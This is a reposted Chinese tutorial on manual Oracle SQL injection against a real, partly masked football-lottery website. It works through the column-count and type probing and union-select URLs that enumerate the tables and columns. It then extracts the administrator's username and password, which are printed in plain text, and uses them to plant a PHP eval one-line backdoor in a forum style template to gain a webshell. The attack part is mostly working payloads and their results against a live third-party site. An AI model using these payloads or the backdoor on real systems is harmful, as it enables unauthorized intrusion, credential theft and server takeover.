手工Oracle注入某足彩在线网站

简介: 转载自 El3ph4nts最终编辑 El3ph4nts某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。
转载自 El3ph4nts
最终编辑 El3ph4nts

某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。

 

判断注入点

在链接地址后加上单引号,返回信息"java.sql.SQLException: ORA-01756",可初步判断为Oracle的数据库。

在链接后添加提交"/*",返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加"--",显示正常页面,说明数据库可能为MSSQLOracle。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--

都返回正常页面(图1),确认为Oracle的数据库。


                          图确认Oracle注入

 

字段数目与字段类型检测

先检测注入点处查询字段数目,提交:

http://www.****china.com/jst/md_end.jsp?id=76 order by 10  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 5  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 8  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 7  //返回正常页面

说明当前表存在7个字段。下面再来检测字段类型,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual

返回错误信息,提示(图2):

expression must have same datatype


                 2  数据类型错误

 

很显然,提交的字段类型不正确,所以查询出错。于是改为提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual

返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual  //返回正常页面

……

上面的查询中,用'null'字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。

提交检测完毕后,确认13467位置处为字符型。提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual

返回正常页面(图3),说明字段类型正确。


                    图3  确认数据类型

 

检测注入点信息

对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual), (select member from v$logfile where rownum=1),5,'6', (select instance_name from v$instance) from dual

从返回页面中得到各种信息(图4):

数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi

前数据库连接用户名为TOTO

操作系统平台为Linux

服务器sidracdb2


                         图4  返回注入点各种信息

 

查询获取表名

先来查询一下当前数据库中的表名,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1),5,'6','7' from dual


                     图5

 

这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual

注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS' and table_name<>'A_USER'),5,'6','7' from dual

得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG

查询获取字段名及内容

选择对USERMG表进行查询,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from dual

返回USERMG表中第一个字段名USER_NAME,再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual


                   图6  返回表中字段名

 

返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG

返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。


                      图7  获得管理员帐号数据

 

登陆后台上传WebShell

没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩论坛,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。

"论坛管理""界面风格""默认风格""详情"中,点击"新增变量",将变量内容设置为:

', '#999');eval($_POST[c]);


                 图8  添加变量写入一句话木马

 

替换内容可随便填(图8)。点击"提交"按钮后,一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件:

http://bbs.****china.com/forumdata/cache/style_1.php


                     图9  连接一句话木马

 

密码为c,粘贴入要上传的WebShell代码内容,即可连接一句话木马获得WebShell(图9)。WebShell的权限比较大,可轻易的控制远程网站服务器。

 

 

整理个文章不容易

转走留出处

目录
相关文章
|
4月前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作
94 0
|
3月前
|
Oracle 关系型数据库 数据处理
某教程学习笔记(一):10、oracle数据库注入
某教程学习笔记(一):10、oracle数据库注入
19 0
|
12月前
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(下)
|
12月前
|
SQL XML Oracle
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(中)
|
12月前
|
SQL Oracle 关系型数据库
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
整合Mybatis-Plus高级,Oracle 主键Sequence,Sql 注入器实现自定义全局操作(上)
|
Oracle 关系型数据库 数据处理
某教程学习笔记(一):10、oracle数据库注入
某教程学习笔记(一):10、oracle数据库注入
100 0
某教程学习笔记(一):10、oracle数据库注入
|
SQL Oracle 关系型数据库
|
Oracle 关系型数据库
|
Oracle 关系型数据库 PHP
|
SQL Java 关系型数据库